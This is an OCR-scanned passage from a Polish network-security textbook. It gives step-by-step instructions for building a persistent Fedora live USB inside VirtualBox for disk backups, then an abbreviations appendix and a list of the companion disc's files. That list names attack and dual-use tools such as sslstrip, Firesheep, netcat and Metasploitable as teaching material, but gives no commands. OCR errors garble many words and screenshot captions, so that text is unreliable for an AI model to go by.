programdéw, zmiang parametréw S$rodowiska itd. Przed wyborem dystrybucji
nalezy sprawdzi¢, czy obsluguje ona opcje¢ persistence. Rowniez wybierajac
program do instalacji sysemu Linux na no$niku USB trzeba dopilnowa¢, aby
obstugiwal on taka opcje instalacji. Oczywiscie aby moc skorzystaé z dystrybucji
f, system komputerowy musi mie¢ mozliwos¢ bootowania z dysku USB (cho¢
istnieja metody, ktére pozwalaja na bootowanie z dysku CD/DVD, a nastgpnie
prace na systemie zainstalowanym na USB). Jednym z mozliwych zastosowan
dystrybucji liveUSB jest przygotowanie $rodowiska do wykonywania kopii
zapasowych, przy wykorzystaniu opisanego powyzej programu dd i nakladki
AIR. Tego rodzaju rozwiazanie moze by¢ uzyteczne przede wszystkim z tego
powodu, ze jednym z probleméw wykonywania kopii zapasowych wolumenéw
systemowych pod kontrolg uruchomionego z nich systemu operacyjnego jest
potencjalna utrata integralnoSci plikow wykorzystywanych przez system.
Najprostsza metoda obejscia tego problemu jest uruchomienie systemu z innego
niz kopiowany dysku (o ile oczywiscie nie ma specjalnych wymogéw odno$nie
do ciagtosci dziatania komputera, ktérego kopig nalezy wykonac).

Najprostszym sposobem przygotowania dysku liveUSB jest skorzystanie
z jednego z kliku programéw generujacych odpowiednie no$niki. Istnieja zaréwno
instalatory obslugujace kilka réznych dystrybucji systemu, jak i programy
secjalizowane dla jednej dystrybucji. W niniejszym ¢wiczeniu postuzymy sie
programem wspierajacym dystrybucje Fedora (Fedora Live USB Creator
https://fedorahosted.org/liveusb-creator); z programéw uniwersalnych mozna
wspomnie¢ o Universal USB Installer http://www.pendrivelinux. com/universal-
usb-installer-easy-as-1-2-3/, ktéry wspiera kilkadziesiat réznych dystrybucji,
natomiast w wersji dostgpnej w chwili pisania niniejszego skryptu, jakkolwiek
potrafit wygenerowa¢ live USB dla dystrybucji Fedora, to nie wspiera opcji
persistence.

Standardowo Virtual Box nie instaluje wszystkich sterownikow do obstugi
dyskéw USB, dlatego tez konieczne bedzie ich doinstalowanie.

247



10.7.1. Wt6z dysk USB do portu komputera. Na pasku narzedzi maszyny
wirtualnej wybierz prawym przyciskiem myszki narzg¢dzie konfigurowania
urzadzen USB.

Rys. 10.20. Narzedzie konfigurowania urzadzen USB na maszynie wirtualne;
Zrédto: opracowanie wlasne.

10.7.2. Z menu rozwijalnego wybierz Nieznane urzadzenie”.

| | i@ | 1409
@ gﬂ P e O N S T P O |
Logitech USB-PS)2 Optical Mouse [2000]
LITECM Technology USE Multimedia Keyboard [0101]
Mieznane urzadzenie 090C: 1000 [1100]

Rys. 10.21. Urzadzenia USB rozpoznawane przez maszyng wirtualng
Zrédlo: opracowanie wlasne.

Rozpocznie sig instalacja sterownikéw dysku USB dla maszyny wirtualne;j.
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Kreator znajdowania nowego sprzetu

Kreator znajdowania nowego
sprzgtu — Zapraszamy

Ten kreator pomaga zainstalowad oprogramowarnie dla:

YirtualBox LSE

\'\J Jesli do sprzetu dobaczony byt instalacyjny
"4 dysk CD lub dyskietka, whoz ten noénik teraz.

Co cheesz, aby ziobit kreator?

& Zainstalu| oprogramowanie automatycznie [zalecanel

 Zainstalyj z lizty ub okredlonej lok alizacj [zaawansowane)

Eliknij przycisk Dale), aby kontpnuowad.

<ﬂstecz| Dalgj » I Anuluj |

Rys. 10.22. Instalacja sterownikéw VirtualBox USB
Zrédto: opracowanie wiasne.

10.7.3. Zatwierdz instalacj¢ sterownikéw, ktore nie przeszly testéw zgodnosci
z systemem Windows XP (wybierz opcje Mimo to kontynuuj).

Instalacja sprzetu ji

L ] 'f Oprogramowanie instalowane dla tego urzadzenia;
L]
YirtualBox USE

nie przeszho testdw zaodnoici z systemem Windows P umozliwiajacych

uzyskanie logo Windows. [Powiedz mi, dlaczeqo te testy sa waine. ]

Kontynuowanie instalacji tego oprogramowania moze
zakhicié lub zdestabilizowad poprawne dziatanie spstemu
teraz lub w przysztoici. Firma Microsoft zaleca zatrzymanie
teraz tej instalacji i1 skontaktowanie sie z dostawcg sprzetu
w celu uzyskania oprogramowania, ktdre pomyélnie przeszto
testy zgodnosci z systemem umozliwiajgce uzyskanie logo
Windows.

Mimo ta kantynug | E___;ATFEZYMM inztalac)e i

Rys. 10.23. Potwierdzenie instalacji sterownikéw VirtualBox USB
Zrédto: opracowanie wiasne.
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10.7.4. Po zakonczeniu instalacji sterownikow zamknij maszyng wirtualna,
uruchom ponownie maszyng fizyczna i maszyng wirtualna.

Kreator znajdowania nowego sprzetu

¢ Konczenie pracy Kreatora
{’,\ znajdowania noweqo sprzetu

3

Kreator zakofcz instalowania oprogramowania dla:

% “WirtualBox USE

Fliknij praycizk Zakorcz, aby zamknad kreatora.

cwistecz [P Zakoficz | Al

Rys. 10.24. Zakonfczenie instalacji sterownikéw VirtualBox USB
Zrédto: opracowanie whasne.

10.7.5. Przekopiuj plik liveusb-creator-3.10.0-setup.exe z ptyty dolaczonej do
ksigzki na dysk twardy (uwaga: nie na dysk USB, ale na wirtualny dysk
twardy) wirtualnej maszyny z systemem Windows 7 badz z tejze maszyny
wejdz przegladarka na strong https://fedorahosted.org/liveusb-creator/
i pobierz najnowsza wersjg.
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10.7.6. Uruchom program instalacyjny i wybierz opcj¢ Install.

€3 LiveUSB Creator 3.10.0 Setup: Installation Folder ol = =]

o Select the directory to install LivelJSE Creator in:

"Destinatinn Folder

! C:\Program Files (x86)\LivellSE Creator Browse... I

Space required: 28.0MB
Space available: 12.4GB

Cancel I Mullsaft Tnskall Syskem w2, 46

Rys. 10.25. Okno program instalacyjnego
Zrédto: opracowanie wlasne.

10.7.7. Podczas instalacji wys$wietli si¢ okienko z pytaniem o uruchomienie
programu LiveUSB Creator. Wybierz opcj¢ Tak.

€3 LiveUSB Creator 3.10.0 Setup: Installing (o= =]

Create shortcut: CiiUsers\Administrator YAppDataRoaming \Microsoft\Wind:

Show details » I - — — - —
—————— 9 LiveUSB Creator 3.10.0 Setup | 23 |

—

@] Run Livel5B Creator now?
Mie

Cancel I Mullsoft Tnstall System vz 46 = Back | Close

Rys. 10.26. Uruchamianie LiveUSB Kreator
Zrédto: opracowanie wlasne.
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10.7.8. Wybierz z listy: odpowiednia dystrybucje (dla procesoréw Intel bedzie to
domyslne Fedora 14 1686), dysk USB, na ktérym ma znalez¢ sig¢ system
oraz ilo$¢ miejsc, jaka ma by¢ przeznaczona na dane persistent (jesli nie
zamierzasz przechowywac na dysku USB innych — poza systemem linux
— danych mozesz zaznaczy¢ caly dostgpny obszar), a nastgpnie wybierz
Create live USB.

P

5| Fedora LivelSB Creator

(-5 eel
6 —
fedora : > )
Live USB Creator R

Use existing Live CD Download Fedora

[ Browse I or [Fedora 14 (i686) - ]
Target Device Persistent Storage (14567 MB)

|E: (PENDRIVE) & - (]

| 0%

Create Live USB

Rys. 10.27. Tworzenie dysku Live USB
Zrédlo: opracowanie wlasne.
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10.7.9. Jesli Twoj dysk zawiera inng dystrybucje live, ktéra miataby by¢
wymazana, w trakcie instalacji zostanie wy$wietlone kolejne ostrzezenie.
Zatwierdz wymazanie danych z dysku USB. Program pobierze obraz
instalacji z Internetu oraz zainstaluje go na dysku USB.

-

P

7 | Fedora LivelJSB Creator

£ —
fedora D - 9}
Live USB Creator ' -

Use existing Live CD Download Fedora
Browse or Fedora 14 (i63a)
Target Device Persistent Storage (14567 MEB)

E: (PENDRIVE)

Your device already contains a LiveOs.

If you continue, this will be overwritten.

Press 'Create Live USE' again if you wish to continue.
Removing existing Live 05

Downloading Fedora-14-686-Live-Desktop.iso. ..

' | 9%

Create Live USB

Rys. 10.28. Pobieranie obrazu i instalacja Live USB
Zrédto: opracowanie wlasne.

10.7.10. Po zakonczeniu instalacji uruchom komputer z dysku USB.

Mozesz teraz pracowa¢ pod kontrola systemu Fedora, podobnie jak
w przypadku zwyktej instalacji na dysku twardym. Jednym z istotnych wyjatkéw
jest sposéb aktualizacji jadra systemu. OdwiedZ strong http://fedoraproject.org/
wiki/FedoraLiveCD/USBHowTo, aby zapozna¢ si¢ ze szczegétami dotyczacymi
obstugi dystrybucji LiveUSB
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Z.ArACZNIK 1. NAJWAZNIEISZE UZYTE W KSIAZCE SKROTY

AIR, Automated Image and Restore — interfejs graficzny dla aplikacji dd.

ARP, Address Resolution Protocol — protokét odpowiedzialny za powiazanie
adreséw IP z adresami MAC

CA, Certificate Authority — Centrum certyfikacyjne

DHCP, Dynamic Host Configuration Protocol — protokét dynamicznej konfiguracji
hosta

DNS, Domain Name System — system nazw domenowych

DNSSec, Domain Name System Security Extensions — rozwinigcie protokotu DNS
zwigkszajace jego bezpieczenstwo

DoS, Denial Of Service — atak odmowy ustugi

EULA, End-User Licence Agreement — licencja uzytkownika koncowego

FTP, File Transfer Protocol — protokét transferu plikéw

HTML, HyperText Markup Language — jezyk znacznikéw hipertekstu

HTTP, HyperText Transfer Protocol — protokét przesytania dokumentéw
hipertekstowych

HTTPS, HyperText Transfer Protocol over Secure Socket Layer — szyfrowana
wersja protokotu http

ICMP, Internet Control Message Protocol — internetowy protokét komunikatéw
kontrolnych, czg$¢ protokotu 1P

IDE, Integrated Device Electronics — standard komunikacji pamigci masowych

IP, Internet Protocol — protokét internetowy

KSK, Key Signing Key — klucz stuzacy do podpisu kluczy stref DNS

L AN, Local Area Network — sie¢ lokalna

MAC, Media Access Control — adres fizyczny karty sieciowej

MITM, Man-in-the-Middle — atak polegajacy na podstuchu i modyfikacji danych
przesytanych przez sie¢

NAT, Network Address Translation — translacja adreséw sieciowych

PKI, Public Key Infrastructure — Infrastruktura Klucza Publicznego

RAM, Random-Access Memory — pami¢¢ operacyjna

SATA, Serial Advanced Technology Attachment — standard komunikacji pamigci
masowych

SSH, Secure Shell — bezpieczny protokét wymiany danych

SSL, Secure Socket Layer — protokdt zapewniajacy poufno$¢ i integralno$¢ danych
oraz uwierzytelnianie serwera

TCP, Transmission Control Protocol — protokét kontroli transmisji

TOR, The Onion Router — router cebulowy

UAC, User Account Control — mechanizm kontroli konta uzytkownika

UDP, User Datagram Protocol — protokét pakietéw uzytkownika

USB, Universal Serial Bus — uniwersalna magistrala szeregowa

VPN, Virtual Private Network — wirtualne sieci prywatne

WAN, Wide Area Network — sie¢ rozlegla
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Z.ArACZNIK 2. SPIS ZAWARTOSCI PLYT DOLACZONYCH DO KSIAZKI

e Katalog: \DNS-Spoofing
- Unbound 1.4.7.exe

e Katalog: \Honeypot
- bss1.txt

e Katalog: \Kopie zapasowe
- Copying.txt
- cryptcat.exe
- dd.exe
- ddchanges.txt
- doexec.c
- farm9 Public License Agreement.txt
- farm9 README.txt
- generic.h
- getopt.c
- getopt.h
- hobbit.txt
- license.txt
- makefile
- nc.exe
- netcat.c
- readme.txt

e Katalog: \Przygotowanie §rodowiska\vbox
- VirtualBox 3.2.10 Ubuntu i386.deb
- VirtualBox 3.2.10 Windows.exe

e Katalog: \Przygotowanie §rodowiska\vm
- BackTrack 4R2.vdi.7z
- Debian_5.vdi.zip
- Metasploitable.vdi.zip
- TurnKey.vdi.zip
- Ubuntu_10.10.vdi.zip

e Katalog: \SSL

- Firefox Setup 3.6.13.exe
- firesheep-0.1-1.xpi
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- firesheep-config-ssl.bss.txt
- ssl.bss

- sslstrip-0.7.tar.gz

- WinPcap_4_1_2.exe

Katalog: \TOR
- vidalia-bundle-0.2.1.26-0.2.10-1.exe

Katalog: D:\VPN\klientA
- ca.crt

- client.conf

- clientA.crt

- clientA key

Katalog: D:\VPN\klientB
- ca.crt

- client.ovpn

- clientB.crt

- clientB.key

Katalog: \VPN\serwer
- ca.crt

- dh1024.pem

- server.conf

- server.crt

- server.key

Katalog: \PKI
- index.html

- login.php

liveusb-creator-3.10.0-setup
MD5 CHECKSUM.txt
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